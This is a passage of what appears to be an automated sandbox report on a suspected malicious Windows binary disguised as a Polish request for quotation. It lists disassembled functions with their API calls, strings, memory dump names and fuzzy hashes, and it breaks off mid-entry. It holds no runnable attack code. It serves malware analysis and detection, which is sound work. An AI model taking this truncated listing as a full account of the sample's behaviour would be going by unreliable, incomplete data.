_memcmp.LIBCMT ref: 0044F30B

Strings

h, xrefs: 0044F872
', xrefs: 0044F24C
[, xrefs: 0044F0F2

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: _memcmp
String ID: '$[$h
API String ID: 2931989736-1224472061
Opcode ID: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
Instruction ID: c2eec353cbd26a418970a1643da97c958d9efd09d44d369c5aec2a2e92b02032
Opcode Fuzzy Hash: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
Instruction Fuzzy Hash: EBE1B3756083858FE725CF28C8807ABBBE1FFC9304F18896EE89587341D7799849CB56

Function 0044F1F5 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 358COMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 0044FB4C

Strings

>, xrefs: 0044F0DB
U, xrefs: 0044FCAF
R, xrefs: 0044FC8C

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: _strncmp
String ID: >$R$U
API String ID: 909875538-1924298640
Opcode ID: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
Instruction ID: f6794502b7c89560a677b30a08de70cb8bc1b17d125f16f135907c58c8460d8d
Opcode Fuzzy Hash: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
Instruction Fuzzy Hash: 46E19C745083818FEB25CF29C49076BBBE1EFD9304F28496EE89587381D378E849CB56

Function 0042D2CC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 204COMMON

Download Yara Rule

APIs

Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734

VariantInit.OLEAUT32(00000000), ref: 0042D2E0
VariantCopy.OLEAUT32(?,?), ref: 0042D2EE
VariantClear.OLEAUT32(00000000), ref: 0042D2FF

Strings

4RH, xrefs: 00409F28

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Variant$ClearCopyInit_malloc
String ID: 4RH
API String ID: 2981388473-749298218
Opcode ID: 45854ddf14939e02fef8711bd8717db5b1d367d31beb3427e15a75496be4afa5
Instruction ID: 2430bd0654d197d786bc988f6f01769df72c779a088326c60667d263ff95ce9f
Opcode Fuzzy Hash: 45854ddf14939e02fef8711bd8717db5b1d367d31beb3427e15a75496be4afa5
Instruction Fuzzy Hash: CC913874A083519FC720CF29D480A1AB7E1FF89304F64892EE999DB351D774EC85CB96

Function 00451191 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0045122A
SendMessageW.USER32(00000000,00000186,00000000,00000000), ref: 00451238
MoveWindow.USER32(?,?,00000000,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 0045125D

Strings

Listbox, xrefs: 004511F6

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
Instruction ID: bfe1e9b3800f224edd0053b2d0d87a77da448e7bf5b17050dc61905274d7532a
Opcode Fuzzy Hash: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
Instruction Fuzzy Hash: E421D3712043047BE6209A65DC81F6BB3E8EBCD735F104B1EFA60A72D1C675EC458729

Function 0045D235 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0045D243
GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D2C7
SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D30C

Strings

HH, xrefs: 0045D2E3

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: HH
API String ID: 2507767853-2761332787
Opcode ID: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
Instruction ID: 4a708fd112bc3492f79fb502a293ca5b83a6a9b53d4ab80d782c21126568c1ab
Opcode Fuzzy Hash: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
Instruction Fuzzy Hash: 622148756083019FC310EF55D944A6BB7E4FF88704F40882EFA45972A2D774E909CB5A

Function 0045D42B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0045D44A
GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D4CE
SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D502

Strings

HH, xrefs: 0045D43C

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: HH
API String ID: 2507767853-2761332787
Opcode ID: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
Instruction ID: 8e4373afe1f51974a95c06a3ae407364d3098df30383bdf5f9e51316f0e0b5c8
Opcode Fuzzy Hash: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
Instruction Fuzzy Hash: 902137756083019FC314EF55D944A5AB7E8FF88710F40882EFA49972A2D778E909CB9A

Function 004342A8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004342D1
CoTaskMemAlloc.OLE32(00000001,?), ref: 004342DD

Strings

hkG, xrefs: 004342AE

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: AllocTask_wcslen
String ID: hkG
API String ID: 2651040394-3610518997
Opcode ID: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
Instruction ID: 372044899b15e8c53ead78f1c779643819f92c4817f04f111663958edd7e2adf
Opcode Fuzzy Hash: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
Instruction Fuzzy Hash: DCE065736442225B97506A79AC045CBA7D8AFB0370B15482BF880E7310E278E89643E5

Function 0043416A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 0043417A
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0043418C

Strings

GetSystemWow64DirectoryW, xrefs: 00434186
kernel32.dll, xrefs: 00434175

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
Instruction ID: 1a9860a365f0c849ce8c10f1c40c5c80f9dda93506fd3415c38c98a37cde1a5a
Opcode Fuzzy Hash: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
Instruction Fuzzy Hash: F9D05EB1440B039FCB109FA0D80C64BB6E4AB64301F148C2EF885B2654D7B8E8C0CBA8

Function 004343CE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ICMP.DLL,?,00434466,?,?,00464B68,?,?,?,?,?,00000000,?,?,00000101,?), ref: 004343DE
GetProcAddress.KERNEL32(00000000,IcmpSendEcho), ref: 004343F0

Strings

ICMP.DLL, xrefs: 004343D9
IcmpSendEcho, xrefs: 004343EA

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: ICMP.DLL$IcmpSendEcho
API String ID: 2574300362-58917771
Opcode ID: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
Instruction ID: bde82dd314f67bb94adb8237e566b22d9cd50c1f3059090bebd97951f1ce1dc3
Opcode Fuzzy Hash: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
Instruction Fuzzy Hash: C9D017B45043039BD7105B21D80874A76E4AF58310F118C2FF881E2250CBBCE8808B79

Function 004343FD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ICMP.DLL,?,0043447D,?,?,00464B56,?,?,?,?,00000000,?,?,00000101,?,?), ref: 0043440D
GetProcAddress.KERNEL32(00000000,IcmpCloseHandle), ref: 0043441F

Strings

ICMP.DLL, xrefs: 00434408
IcmpCloseHandle, xrefs: 00434419

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: ICMP.DLL$IcmpCloseHandle
API String ID: 2574300362-3530519716
Opcode ID: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
Instruction ID: 815a2f2ef77883dfca24b23846b24e776c3b140ddfaf16f0983d17b56328066b
Opcode Fuzzy Hash: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
Instruction Fuzzy Hash: 9FD017B04443129AD7106B64D80874A76E4AB68302F129C3FF881A2660C7BCA8808B39

Function 0043442C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ICMP.DLL,?,00434494,?,?,00464A94,?), ref: 0043443C
GetProcAddress.KERNEL32(00000000,IcmpCreateFile), ref: 0043444E

Strings

IcmpCreateFile, xrefs: 00434448
ICMP.DLL, xrefs: 00434437

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: ICMP.DLL$IcmpCreateFile
API String ID: 2574300362-275556492
Opcode ID: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
Instruction ID: c247b13c068300da1972229949477068df6ba5342f41feac8fae2a533bc96115
Opcode Fuzzy Hash: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
Instruction Fuzzy Hash: 97D017B04043029ADB105B60D90875A77E4AB68300F118C7FF9A1A2250C7BCA8808B29

Function 0041456C Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 00414630
__fileno.LIBCMT ref: 00414650
__locking.LIBCMT ref: 00414657
__flsbuf.LIBCMT ref: 00414682

Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23

Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
Instruction ID: ec1a4dff6c5341ad57a53ba98b0f539b864df2cc4a0ba96fecd891c5d8a4160d
Opcode Fuzzy Hash: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
Instruction Fuzzy Hash: 4841A571A00605ABDB249FA5C9445DFB7B6EFC1328F28852FE41997280D77CDEC18B48

Function 004781AE Relevance: 6.1, APIs: 4, Instructions: 135COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
VariantCopy.OLEAUT32(?,?), ref: 00478259
VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
VariantCopy.OLEAUT32(-00000078,?), ref: 00478287

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CopyVariant$ErrorLast
String ID:
API String ID: 2286883814-0
Opcode ID: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
Instruction ID: 2d87100fc18953c9afe9b7e879878e48daa4ef19e0256d9a4550ae3fa38499cf
Opcode Fuzzy Hash: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
Instruction Fuzzy Hash: 5F517C751543409FC310DF69C880A9BBBE4FF88314F448A6EF9499B352DB39E909CB99

Function 0047404B Relevance: 6.1, APIs: 4, Instructions: 133networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00474068
WSAGetLastError.WSOCK32(00000000,00000002,00000002,00000011), ref: 00474076
#21.WSOCK32 ref: 004740E0
WSAGetLastError.WSOCK32(00000000), ref: 004740EB

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
Instruction ID: ff1742a21ceaee7448286ece46cbaad1fa76dded649dcd1b12ff87c083dae87e
Opcode Fuzzy Hash: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
Instruction Fuzzy Hash: 7641D9717403006AE720BF6ADC47F5672C89B54B18F14496EF648BF2C3D6FAA881869C

Function 0045D070 Relevance: 6.1, APIs: 4, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000000,?,00000000,?,00000000), ref: 0045D10A
GetLastError.KERNEL32(?,00000000), ref: 0045D12B
DeleteFileW.KERNEL32(00000000,?), ref: 0045D14C
CreateHardLinkW.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0045D16A

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
Instruction ID: 240381fd0e223f31e6bb83dc4f900fe278965bce5f9bbaa9f824fb1079ab41c9
Opcode Fuzzy Hash: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
Instruction Fuzzy Hash: 393180B5900301ABCB10AF71C985A1BF7E8AF84755F10891EF85497392C739FC45CB68

Function 0045058D Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 004505BF
DefDlgProcW.USER32(?,00000138,?,?,004A83D8,?,004A83D8,?), ref: 00450610
DefDlgProcW.USER32(?,00000133,?,?,004A83D8,?,004A83D8,?), ref: 0045065A
DefDlgProcW.USER32(?,00000134,?,?,004A83D8,?,004A83D8,?), ref: 00450688

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Proc$Parent
String ID:
API String ID: 2351499541-0
Opcode ID: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
Instruction ID: e3e31f905615dd8bfbe674c7a91f48f64006a8638b4dc9b760805e547d05c650
Opcode Fuzzy Hash: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
Instruction Fuzzy Hash: 8C3128362411006BC2209B299C58DBB7B58EBC7336F14465BFA54832D3CB769826C768

Function 004613E0 Relevance: 6.1, APIs: 4, Instructions: 90windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00438C85: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00438C95

Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2

SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 00461420
SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 0046144F
__itow.LIBCMT ref: 00461461
__itow.LIBCMT ref: 004614AB

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend$__itow$_wcslen
String ID:
API String ID: 2875217250-0
Opcode ID: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
Instruction ID: b65c482f8247f617b799fd724a7506577ebf884cdb52d0d4602b18db992df379
Opcode Fuzzy Hash: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
Instruction Fuzzy Hash: 3A213D7670031067D210BA169C86FAFB794EB94714F08443FFF44AB241EE69E94687EB

Function 0047721A Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51

GetWindowLongW.USER32(?,000000EC), ref: 0047728E
SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772A9
SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772C0
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002,?,000000EC,00000000,?,000000EC,?,00000001,?,?), ref: 004772D0

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
